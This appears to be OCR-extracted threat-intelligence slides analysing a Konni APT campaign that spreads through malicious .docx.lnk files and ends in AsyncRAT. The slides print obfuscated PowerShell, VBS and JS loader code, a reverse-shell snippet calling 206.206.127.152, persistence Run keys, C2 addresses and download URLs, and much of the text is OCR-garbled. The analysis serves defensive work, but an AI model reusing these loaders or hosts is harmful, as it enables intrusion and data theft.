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Emmy Byrne

20241003 20134.docx.Ink
aaecb10ca453bec3bb95bedac6d773a593ea984509845eb7b15d8894d
4b385ad
*206.206.127.152:9002
*206.206.127.152:7031
*206.206.127.152:7032

Lo m\\=Lvbat

4 1\n1035 4n;

Joke s youtbe;
"206.206.127.152"
S$dvevse = "70317

StcpConnection = New-Object System.Net.Sockets. TepClient(Ssdvdet, $dvevse)
$tcpStream = $tcpConnection.GetStream()

Sreader = New-Object System.O.StreamReader($tcpStream)

Swriter = New-Object System.|O.StreamWriter($tcpStream)

Swriter. AutoFlush = Strue

$cmd = $reader.ReadLine()

Stmpz = "c#programdataWmex.ps1"
$cmd | Out-File Stmpz

power :1 ili zep bypass -f $tmpz
Ssev Siigiire| Stmpz";

lnv?_g% ;xgrﬁé\on A
mEneT e TTeT

yoTenT =703
function MuTxdonewd

param(
[parameter(Mandatory = Strue))[string] $sefnceviD

try
(
SMusnciuhwefx = New-Object System.Threading.Mutex -ArgumentList ‘fase’, SsefnceviD

if (-not $Musnciuhwefx WaitOne(2000))
{

Exit
)

refurm SMusnciuhwefx

dvevd="umcnesef

Sub sefdbse(p_Tar)

oiwjoeijofij="fsegrddtdfg"

End Sub:

qywtx="ieciwn 9834

Set sh = WScript CreateObject("WScr"+"iptShe™+°II"):

mijb="soeif 92y379h8hgb"

pow_cmd = "p"+"ower”+"shell -ep byp"+"ass -com"+"mand $fn="C:
WiProgramData##xS023.tmp’;Sd = Get-C"+"ontent $f; Inv"+"oke-Exp"+"ress"+"ion $d:"
sh.Run pow_cmd, 0, true:

pow_cmd = "power"+"shell -ep byp"+"ass -comma’+"nd $fn="C
WWProgramDataWwtmpzdat';Se = Get-Co”+"ntent $fn; In"+"voke-Expr"+"ession Se;"
sh.Run pow_cmd, 0, false:

uuy=igytwampelkspoef

WSerip -1 56 5(2000)

Set smicve'= CreateObject("Scri"+ "pting FileSyst"+ "emObject’):

smicve.DeleteFile("C:

acosador

#APT #Malware
file name: 20250211_03837.docx.Ink

sha256:

5967513540ad610ddbbc124f2437cf58dd10341da7d8d016932e74¢3241

dfa2a

ownload url:

hxxps://www.dropbox.com/scl/fi/cnfhxfOnc3gxfklznhbna/zz)G_2.zip?
rikey="t1et81enar4uvbb7nnk58m9b&st=2

vt: virustotal.com/gui/file/26864...
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ba52ab256079f80fdf9c47bf5fc215fed99ed1659¢c976¢C...

) 20241007_46790.docx. lnk

Ink  detect-debug-environment  long-sleeps

dfeecl1052063d6dc69cc6d23cafcd262cd06899554F5eb...

(<) 20241011_64246.docx. Lnk

Ink  long-command-line-arguments  detect-debug-environment

11ac6151182db3b41f9022b4e4b8a388e982f7fece3a34..

) 20241013_24569.docx. lnk

Ink  long-sleeps  url-pattern  long-command-line-arguments

52b8e4da732d06000e29d7609668021be8cc99fccd9fb4..

& 20241015_56801.docx. Lnk

Ink  url-pattern  long-sleeps  long-command-line-arguments

f4c4168f8b27279b00b718b02392d5dfel766c342a189a...

S 20250114_27263.docx. lnk

Ink  long-sleeps  high-entropy  checks-cpu-name

2024-10-26
08:55:11

2024-10-11
10:54:44

2024-10-16
00:28:06

2024-10-15
13:12:30

2025-01-14
05:16:33

2024-10-26
08:55:11

2024-10-13
12:06:59

2024-10-16
11:59:35

2024-10-15
13:12:30

2025-01-14
05:16:33
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Stage 1-20250211_03837.docx.lnk

and displaws the window., The window i
on IT the window is minimized or maxi

temdtinshta. e

|| - |_||| —|'|'|||[|

¢ ENKI

6 WHITEHAT
GGG



01 =3 A=IEM

Stage 2 - d.psl

$kme2=@(); I . o — ] ]
powx®="cd1Z3btVmUegi"”[9..2]; $DL‘JHE: Ll |T|1I'|.I'I 'I: Ij = ‘i l
$kmql="ag6M2IgeWZelULkqw"[13..2];
$emu2="yaYOFGZtFmcn9mcwxFXcef"[18..2];
$hjm3="vy=wOnEzcw5CZcxVdim"[15..2];
$ryed="vw=yabce"[2..2];
$giko5=%owx0+$kmgl+$emu2+$hjm3+$ryed;
$kme2+=%$giko5 -join "';
$21q6="ks2cnASPgcGl7cSYOFGZtFmcn9mcQxFX6MeJgQULgcGdkACa@FGU
$yab?="gjmuqna?]EEFPnb11nclNE??dSbdePﬁﬁHckaﬂjmﬂCIiﬂbeSiME

)}"-F'eM','S", "Et-It') vArIAbLe:c75HSG (][ 1("

) -f 'ari','ie', t-v','able') -Name ("{©}{2}

] ‘et-Vari', 'able','S"') -Name ("{@}{1}" -f'm

H3}"-f 'I','-Expressi', 'nvoke’,'on') ${MO Q@0};
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Stage 2 - d.psl

$kme2=@();

$owx0="cd1lZ3btVmUegi"[9..2];

$kmql="ag6M2IgeWZelULkqw"[13..2];

$emu2="yaYOFGZtFmcn9mcwxFXcef"[18..2];

$hjm3="vy=wOnEzcw5CZcxVdim"[15..2];

$ryed="vw=yabce"[2..2];

$giko5=%owx0+$kmgl+$emu2+$hjm3+$ryed;

$kme2+=%$giko5 -join "';

$21q6="ks2cnASPgcGl7cSYOFGZtFmcn9mcQxFX6MeJgQULgcGdkACa@FGU

$yab?="gjmuqna?]EEFPnb11nclNE??dSbdePﬁﬁHckaﬂjmﬂCIiﬂbeSiME
)}"-F'eM','S', "Et-It') vArIAbLe:c75HSG (][ 1("
) -f 'ari','ie', t-v','able') -Name ("{©}{2}
] ‘et-Vari', 'able','S"') -Name ("{@}{1}" -f'm
H3}"-f 'I','-Expressi', 'nvoke’,'on') ${MO Q@0};

¢ ENKI
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Stage 2 - d.psl

$hpg2="vyUu8USueWZONXeT
$gim3="ye=0QDKOQT7kCMyg
$opgs4=%uaje+$gjni+hpg

$kme2+=%$opgs4 -join ;
& $opemcb5 $kme2;

Set-Item Variable:c75HSG ([ ]("Convert"))

Set-Variable -Name opemcb5 -Value ({

param($UVWI5

foreach($Cei26 in $UVWO5
Set-Variable -Name krx78 -Value (

$C75Hsg: :FromBase64String. Invoke ($Cei26)

)
Set-Variable -Name mog@® -Value (-join ($krx78 -as
Invoke-Expression $mogee

¢ ENKI
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Stage 2 - d.psl

pattern = re.compile(
r'\N(\s*" ([*"]+) "\ sx k(22N [N T4\ "\sk(?:,\s%)?){2,6})\)

)

def process_match(match):
fmt_str = match.group(1)
args_str = match.group(2)
args = re.findall(r'\"'([*\"']1+)\"'', args_str)

. i

) 1", "'S","Et-It") vArIAbLe:c75HSG
}{3}" -f 'ari','Se’,"'t-V','able’') -Na
-f 'et-Vari','able','S') -Name ("{

| —_)
[ 1

try:

computed = fmt_str.format(xargs)
except Exception as e:

computed = None

.3

| —_ '|_'_f
[ T i |

{9
L &
9
L&
Iy
(O
L2
L &

'_f
=

-
r

print("Computed:", computed)

if computed == "Invoke-Expression":
n = len(args)
target = "Write-Output"

¢ ENKI
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Stage 2 - d.psl

Set-Item Variable:c75HSG ([type] ("Convert"))
Set-Variable -Name opemcb5 -Value ({
param($UVW95

foreach($Cei26 in $UVW95
Set-Variable -Name krx78 -Value (
$C75Hsq: : FromBase64String. Invoke($Cei26)

)
Set-Variable -Name moq@@ -Value (-join ($krx78 -as [char[]]))

Write-Output $moq00

¢ ENKI
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Stage 2 - d.psl AR .
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Stage 2 - d.psl

A A

<> <>

psi

& 4
o

Dropbox

G3892.tmp 83972.tmp

AMicrosoftEdgeUpdate

Expanding[7923498737] HKCU\...\Run\GUpdate2

C:\Windows\System32\wscript.exe
/b /e:javascript
C:\ProgramData\83972.tmp

wscript /e:javascript /b
C:\ProgramData\83972.tmp

¢ ENKI
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Stage 2 - d.psl @

38243.tmp N9371.Js

S 9

C&C Server

tmps2.ps1

AMicrosoftEdgeUpdate

HKCU\...\Run\SUpdat
Expanding[3829710973] \...\Run\SUpdate

C:\Windows\System32\wscript.exe
/b /e:javascript
C:\ProgramData\N9371.js

wscript /e:javascript /b
C:\ProgramData\38243.tmp
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Stage 3 -83972.tmp

xby40() {
Nnud4ybgfse =

"9701Xs sc—-mo+\"m\"\"a+\"a",
"5812Xn"'=:C\\\\rPgonrd $f",
"6438Xa\\\\3G98. 2mtapmDat",
"8604Xd= G teC—+\"'\";$",
"6694Xn tf$;nI vno\"nte",
"1557Xk-exE\"p\"+er+s\"o",
"1735X\"0i nd$\"; ;sf\"+",

"1846XtoilnR.nuw(uinc", e
"6478Xf ,)0};acctnhCon", L.'_I'%_Q_I‘jl‘ x_-Il-g-E'I_I E||O|E-I>

"6368Xr{r()e}",

"8780X{v raf nutctiry",
"2375X=n weA tcvioenl",

"7204Xc (tW\"cSirtpX.0bje",
"O431X1\"1;)v raw Sihe",
"7074Xn=f\" \"p\'"+woneCo",
"5497Xhle le- pybrp\"+\"s"

I

xby40 = () {
return Nnudybgfse;
LH
return xby40();
¢ ENKI
WHITEHAT
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Stage 3 -83972.tmp

6478Xf ,)0};acctnhCon

<1. TEAXE 7|&2 2 H|0|H JIHBD
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Stage 3 -83972.tmp

17

, 1) |0} | ;| a t n{h|{C|o|n
2 [ 3|45 [6 |7 10 | 11 | 12 [ 13 | 14 | 15
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Stage 3 -83972.tmp
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2 4 | 56 |7 10 [ 11 [ 12 |13 | 14 | 15
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Stage 3 -83972.tmp

19

0 - lal|lc|cC h|{C|lo|n|f
2 4 | 56 |7 10 [ 11 [ 12 |13 | 14 | 15
3. X2 1HO|E |0|E{ 2}
OFX[2F 1HO| E O[O W&t
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Stage 3 -83972.tmp

3. 5= 1HI0| E Gi|O]E{ 2}
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Stage 3 -83972.tmp

2174
o/

ARz £

21

) 1 0|} h| | C|lo|n|f],
o1 ]|2]3 1011 [12 13| 14 | 15
) |} | ;| a o|n| f |, 0
o1 ]2]S3 1011|1213 [ 14| 15
} la|c|c f |, 0|) | ;

1 | 2 [ 3 1011 [12 13|14 | 15
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Stage 3 -83972.tmp

f ) | O t {n|h|C|o0o|n
0 3 | 4 10 [ 11 [ 12 | 13 | 14 | 15
n n |f } ¢/ a t | c | h
0 3 | 4 10 | 11 [ 12 | 13 | 14 | 15
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Stage 3 -83972.tmp

(function (Smoencbv,
var dmk398xnefyH
var agent = Smoe
var n = agent.le

while (true
try {

k = parseInt(dmk398xnefyH(@x1lda)) * (parseInt(dmk398xnefyH(@x1df))) / 0x5;

rgvjlag) {

= PSkkefoi98feh;
ncbv();
ngth;

if (k === rgvjI4g) {

brea
} else {
for

k;

i=0; 1i<n; i++

str = agent[il;
var match = str.match(/\d+/q);
var m = match[0].length + 1;
var tmp = str.substring(m);
var len = tmp.length;

if (len <= 2) return;

var k = tmp.substring(2) + tmp.substring(@, 2);

t = k.charAt(0);

tt = k.charAt(len - 1);

tmp = tt + k.substring(1, len - 1) + t;
var res = match[@] + 'X' + tmp;
agent[i] = res;

console. log(agent[i])

agent['unshift'] (agent['pop']());

}

} catch (_0x49299e) {}

- (xby4@, 12172939.2)

);

0:
1:
2:
3:
4:
5:
6:
7:
8:
9:

"8780Xtry{\tvar functi"
"2375Xonl= new Active"
"7204XX0bject (\"WScript."
"9431XShell\");;\tvar wi"
"7074XnConf= \"p\"+\"owe"
"5497Xr\"+\"shell -ep byp"
"9701X\"+\"ass —com\"+\"ma"
"5812Xnd $fn="C:\\\\Progr"
"6438XamData\\\\G3892. tmp"
"8604X"';%$d = Get-C\"+\""

: "6694Xontent $fn; Inv\""

: "1557X+\"oke-Exp\"+\"res"
: "1735Xs\"+\"ion $d;\";\tf"
: "1846Xunctionl.Run(wi"

: "6478XnConf, 0); }catch"

: "6368X(err){}"

¢ ENKI

WHITEHAT




01 24 AH 24

Stage 3 -83972.tmp

try {
var functionl = new ActiveXObject("WScript.Shell");
var winConf= "powershell -ep bypass" +

" —command $fn="'C:\\ProgramData\\G3892.tmp";" +

"$d = Get-Content $fn; Invoke-Expression $d;";
functionl.Run(winConf, 0);
} catch (err) {}

¢ ENKI
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Stage 4 - G3892.tmp

$rr99=a@();
$acg0="0sI3M2wWanFTLWMTMwcTOzYjM5UTMiASPgQWS
$msyl=""uwyicURrpVciFTMuJGTwFWS@OR3UI1iY09kMOk
$imp2="aelHU1IXS5wULGANTTFVQHFUQSFUSZd2QyVTe
$gow3="bc=sjIBNONYE]jZSp1bZRGTh1HZV1zcEZWUatG
$psvad=%$acg@+$msyl+$imp2+$gow3;
$rr99+=%$psvad4 -join '';
$iqs5="wya00VmcjVv2ckODdLI3Y IN3X05WZpx2YgACIg

$koq6="bgkInZ1IJHIKOQTKOAIgACI7cib1t2b@9FazVm
$vwy7="ceFIk9GaOVWTtAiIuV2avR3LOY3LygGd1lF2bv éi%ii}
SeT-iteM ('VaRIAb'+'LE:'+'Qk'+'yr'+'Z"') (

&("{o}{1}{2}"-f'Set-V','a', 'riable') —Name
("{2H{1}{3}{0}"-f'Variable','t','Se"','="') =
&("{1}{0}{3}{4}{2}" -f'o',"'Inv', 'xpression’,

H);

$atk8="em9GdTN3cIN2Yh5ib1t2bURWZoNXZyZWZyRCI
$mmm@=""mm=0nCNIib1lt2bUN3cIN2YhRCIyVmchVmQiAS
$mmmm1=$iqs5+$koqb+$vwy7+$afk8+$mmmo;
$rr99+=$mmmml -join '"';

¢ ENKI
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Stage 4 - G3892.tmp

( 1 HHA ESuT QX )

N

L~

G3892.tmp ( OHMIA EZ "t > Google
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Stage 4 - G3892.tmp

o
<> |
>
psi

G3892.tmp Google Drive
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Stage 4 - G3892.tmp

=] uuu_2025_02_11_15_08_08_Result_lo...
£ uuu_2025_02_11_15_08_13_Result_lo...
|=] uuu_2025.02_11_15_08_17_Result_lo...
|=] uuu_2025_02_11_15_08_39_Result_lo...
=] uuu_2025_02_11_15_08_52_Result_lo...

‘ 11_1510.1
5] uuu_2025.02_11_15.10_12 Result lo ] uuu_2025_02_11_15_14_49_Result_log.txt -
) uuu_2025_02_11_15_10_17_Result_lo...

[ uuu_2025.02_11_15_10_20_Result_lo... 2025-02-11 2% 407 | HEE BEE® MY©O 2NV SSEH)
[£] uuu_2025_02_11_15_10_42_Result lo..  2025-02-11 2% 4:07 P025_02_11_15:14:49
(] uuu_2025_02_11_15_10_56_Result_lo.. )2 E 4:.07
[] uuu_2025_02_11_15_12_18_Result_lo...
] vuu_2025_02_11_15_12_20_Result_lo.. 2025-0: E 4
[ uuu_2025_02_11_15_12_25_Result_lo.. 2025-02-11 2% 407
| uuu_2025.02_11_15_12_46_Result_lo... 2025-02-11 2% 4.07
| uuu_2025_02_11_15_12_59 Result_lo... 2025-02-11 2% 4.07
IE] uuu_2025_02_11_15_14.23 Result_lo... 2025-02
|=] uuu_2025_02_11_15_14_24 Result_lo...
[5] uuu_2025_02_11_15_14_29_Result_lo...
1] uuu_2025_02_11_15_14_49 Result_lo...
Z] uuu_2025_02_11_15_15_03_Result_lo...
=] uuu_2025_02_11_15_16_27_Result_lo...
Z] uuu_2025_02_11_15_16_28_Result_lo...

|
fmm

Mo FHo o |4||| I‘lll

Im

im
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Stage 4 - G3892.tmp

3.9HM3C £

A

<>

-

C )
G3892.tmp < oMTC M2 > Google Drive

1. 206 M2
2. 0} 0| Z0f| SobjNameO| ZBH=l L}
3. ot 0| E 1}t LHE 0| "result" =XIEO| Zgtk|X| 2 njd

¢ ENKI
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Stage 4 - G3892.tmp

<> |
>
psi

G3892.tmp Google Drive
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Stage 4 - G3892.tmp

<>

psi psi

G3892.tmp tmps2.psi
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Stage 4 - G3892.tmp

¢ ENKI
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Stage 4 - G3892.tmp

AMIACCI2RE E7h5
Polling or Webhook ?

d
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Stage 5 - tmps4.psl

$pxf="DQpGdW5jdGLlvbiBNb2NuZG1lzIHsgDQpwYXJhbSgNC1tTdHIpbmddJFVSST@OkbnVsbC
$hik="PLKNvbXByZXNzaW9uLKkNvbXByZXNzaW9uTWIkZVO60kR1Y29tcHJ] Lc3MpOwWOKICAQIC
$1no="AgICB1lbHN1laWYoJFBhdGggLW5 LICRudWxsKQOKICAgIHsNCiAgICAgICAgW@AI5dGVbX
$qsv="17DQogICAgICAgIGZvcmVhY2ggKCRtZXRob2QgawW4gJHR5cGUUR2VOTWV@aG9kcygpK
$ybeh=$pxf+$hik+$1lno+$qsv;

$bytes = [Convert]::FromBase64String($ybeh);

&("{2}{0}{1}"-f 'et-V','ariable','S') -Name ("{1}{0}" -f'es','r') -Value
("{2}{O}{1}{4}H{3}"-FT'k", "e-Ex"',"Invo', 'ression','p') ${r eS};

¢ ENKI
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Stage 5 - tmps4.psl

20254 28 12¢

rt 10 dummy_0206.tmp = O *

¢ ENKI
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Stage 5 - tmps4.psl

"name": "rt_10_dummy_0206.tmp",
"mimeType": "application/octet-stream",
"size": "11917",

"createdTime": "2025-02-06T14:28:40.7072",
"owners": [

"kind": "drive#user",

"displayName'": "andreytony@@l",

"emailAddress": "andreytony@@l@gmail.com",

"permissionId": "17628116675428814843",

"photoLink": "<https://1lh3.googleusercontent.com/a-/ALV-UjU7c10Rb7y7XU9dR2x1xcjqwWmLDym-Ty65ExsrPiilyhgY9WA=s64>",
" false

me :

¢ ENKI
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Stage 5 - tmps4.psl

Cz. otz 3 2l oln|3z| gz&)
A
& @

psi

tmps2.pst AsyncRAT
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Stage 6 - AsyncRAT

Assembly Explorer

4 7 Ly 0206 (1.0.0.0)
452 1y 0206

& PE

b =B Type References

b =B References

b Bl Resources

Module= @020000(
4 {} BuandRange
b ¥y

4 %3 program @02000006

= X Program

b Bl Base Type and Interfac

b Bl Derived Types

jramf() :

b #

b {} BuandRange.test_ p*rP
b {} Lv_0206 Properties
mscorlib (4

public void Hnlan~Lz\Hw[] args)

)
L

string ip = "%,
int port = GGOG;
bool flag = args.
if (flag)
{
ip = args[0]:
try
{
port = int.Pa

{
port = GEOG:

bool flag?2 = args.
if (flag2)

ip = args[0]:

Program.startfip, port);

sefargs[1] )

¢
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Stage 6 B ASynCRAT 2“““ class MsgPack :

public class [Enumerable

i
L5

test _pkt

A4 Token: 0x0600004E RID: 78 BVA:D 0x00I
private void SetName{string value)

this.name = value;
this. lowerMame = this.name,ToLower( };

vate void Clear()

this.children[i].Clearf )

:
this.children.Clear( )

RID:

Ken: UxUbuooual

ivate test_pkt

| nnersdd] )

_pkt test_pkt = new test_pkt({);
_pkt.parent = this:
his.children, Add{test_pkt ).
eturn test_pkt:

IEnumerable

string name;

string lowerName;

object innerValue;

MsgPackType valueType;

MsgPack parent;

List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;

private void SetName(string value)

{
this.name = value;
this.lowerName = name.ToLower();

private void Clear()
{
for (int i = @; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();

private MsgPack InnerAdd()

{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);

return r;
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Stage 6 - AsyncRAT

e WS AEE SRR L) public byte[] Encode2Bytes()
2 akebytearray( ) q
e[] result:

zing (Memory:tream memorvEtream = new MemorvEtreamd ))

using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
bytel]l r = new bytelms.Lengthl;
ms.Position = 0;

ms.Read(r, @, (int)ms.Length);

return Zip.Compress(r);
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Stage 6 - AsyncRAT

private static woid fbyvtel]l b_in)

bytel] b_ok = . (b_in
Thread. (10
Thread, 1
dssembly asm = nul |l
(56, b_ok, asm).

private static woid fint m_1, bvtel] b_ok, embly asm)

try
string text = “pym,sapmfemowrescs: friin”.
text  Substringl 3
string text?2 = text.Substrina(1 ).
text? = text2 . Replace("r", "s" 1
asm = Assembly, rb_ok )
(asm):

|.:: atch (Exception ey)
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b =B Type References =B Type References
P =B References b =B References
b Bl Resources b Bl Resources
P {} - P {} -
4 {} BuandRange 4 {} MemorylistMod

4 % @02000005 4

b Bl Base Type and Interfaces b Bl Base Type and Interfaces
B Derived Types M Derived Types

(&) - T CVEC D (&%) - T T
] A = LD ] A = ORI L

@, (byte[, int, ) @0600002A @, (byte(l, int,
5] ( ): @06000028 ) ( : @06000016

|i| (Acce ..,l__ . e T 2T |i| .J;-_nEnnnnd
a LASSEMDIY) - U AL 2 & MU LA

- AN o
- WNADAURARAS | G

(] Assemblyv) - A (] . = AN A
& Moy - (UL A & LINT, , i (RO L

.
@06000029

B : AN T
0000283 &

Sy i @O6000017
P #¢ Program @0200000 b * Program @02000006
b4 @02000004 b4 @02000004
Py @02000007 b @02000007
4 {} BuandRange.test_pack 4 {} MemarylistMod test_pack
b #3 BytesTools @02000008 ytesTools @02000008
b % MsgPackArmray @0200000C b % MsgPackArray @0200000C
b #e MsgPackEnurn @0200000 b MsgPackEnum @0200000
P& MsgPackType @02000009 P & MsgPackType @02000009

Trnle A —Hﬁl. R e e a e A AT
CHOHS RELVURURUAURURURE, OIS LU URURURURUA,

b *2 test pkt @0200000 b 3 test pkt @02000000

b M, WriteT @0200000E b %, WriteTools @0200000
4 {} Lv_ 0206 Properties 4 {} WinSvc Properties

b %, Resources @0D2000002 b ", Resources @0D2000002

ot EARAAAAAS R
b %, Settings @02000003 b %, Settings @02000003
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public void MainO(string[] args)

i
1

string ip =
int port = G606,
bool flag = args.
it (flag)

ip = args[0];
try

port = int. fargs[1]);

catch (FormatExceptiaon)

part = GEOG;

else

bool flags = args.
if (flag2)

ip = args[0];

Program. (ip, port});

public void Maind{string[] args)

string ip = "159.100.13.216";
int port = 6606,

bool flag = args.

ifo(flag)

ip = args([0];
try

port = int. (args[1]);

catch (FormatException)

port = G606,

else

bool flags = args.
if (flag2)

ip = args[0];

Program. {ip, port);
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duplikyservijc.cloud/dn.php?name=[%computer name%]&prefix=tt
547857.cl.biz/dn.php?name=[%computer name%]&prefix=mm
kmdaqj1.c1.biz/dn.php?name=[%computer name%]&prefix=tt @

gjdow.atwebpages.com/dn.php?name=[%computer name%]&prefix=tt

3 q : f4275b0d3c4b6f3a165984b862f4890df14cc346013a22412f7288c9fdc65690
@ duplikyservic.cloud resxe

@
. .
@ 547857.clbiz

&

.. kmdqj1.c1.biz

.‘ gjdow.atwebpages.com

@. Konr@mpaign Distributed Via Malicious Document
@. Konni Campaign Distributed Via Malicious Document
[ ]

agryae rser g

g. £ 40§ ARYIS8®of Konni Threat Universe
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Ink

20250211_03837.docx.Ink
(Starting point)

Metadata

Creation date

Access date

Modification date

Target path

Icon location

MAC address

Machine id

Target relative path
Command line arguments
Disk volume serial number
Local path

LMK Flags

Header

File size
Hot key
Show window

DLT Properties

Birth droid file id
Birth droid volume id
Droid file id

Droid volume id

2023-11-15T13:04:01.2554687
2023-11-15T13:04:01.2594397
2023-11-15T13:04:01.2594397

My Computer (Computer) : C:\Windows'\System32\mshta.e
docx

50:bT:c3:96:87:11

jooyoung

wheo\e \Windows\ System32\mshta.exeZ5 T3 8 EE TR N NgAEE
javascript:v=" -Encoding Byte;sc ";5="a=new Ac"+"tiveXObj
26d3-6e63

C:\Windows\System32\mshta.exe

HasTargetlDList, HasLinklnfo, HasRelativePath, IsUnicode, |

43520
(0+0)
SW_NORMAL

eachf740-7d62-11ef-bf18-50b7c39687f1
67abdlaa-3d2a-42ab-bf95-7b591d0f4b1f
eachf740-7d62-11ef-bf18-50b7c39687f1
67abdlaa-3dZa-42ab-bf95-7b591d0f4b1f
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L X4 (9]

206.206.127.152 74.50.94.175

lnk Ink
20250114_27263.docx.Ink 20250201_388165727.eml.Ink
| |
2. d 2.
nk nk [

20250211_03837.docx.Ink

20240930_84382.docx.Ink (Starting point)

20241013_24569.docx.Ink 20250206_68013.docx.Ink

20241007_46790.docx.Ink

lnk lnk (5174
20241003_20134.docx.Ink 20241011_64246.docx.Ink 20241015_56801.docx.Ink
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X7t oty

S C&C, APl key M%)

< MachineID >_ / \

desktop-0jpcpit Ink Ink

20250114_27263.docx.Ink | 20250201_388165727.eml.Ink

0\

% &
lnk
20250206_68013.docx.Ink|  20250211_03837.docx.Ink

\ / (Starting point)

MachineID
jooyoung
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HREAN
(2024.10.22 (2024.08.03
LY Yohrs

&2

74.50.94.175

A
&
lnk
20250114_27263.docx.Ink

A

&
Ink
20250206_68013.docx.Ink

20250201_388165727.eml.Ink

~
L}

war|B 20|14
HREHER  SHHS MAHABY
LR 2024-10-22 09:44:07
Joie :; a. ¥ yc
=012 7121
49
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8 H X} M <help@taylorswift.store>
g ArEh @naver.com
=]
(2024.10.22 (2024.08.03
ZalH| A) HHOHHE,)
WHOHHE, 20241 E FUSE A0}
EERH0Q.
s w7
74.50.94.175 ———
HAEM BR
20243 FUSE AR EA
[\ A
& & aso
Ink Ink
20250114_27263.docx.Ink 20250201_388165727.eml.InK
A
7
Ink
20250206_68013.docx.Ink
50

& /o =

£ 2024-08-03 2% 4:24
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@ Info

Properties
Size

Modified

Type
Uploaded by
Date uploaded

0x

N

4.64 KB
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ol

Widy Ket

2025.2.19. 23 12:20
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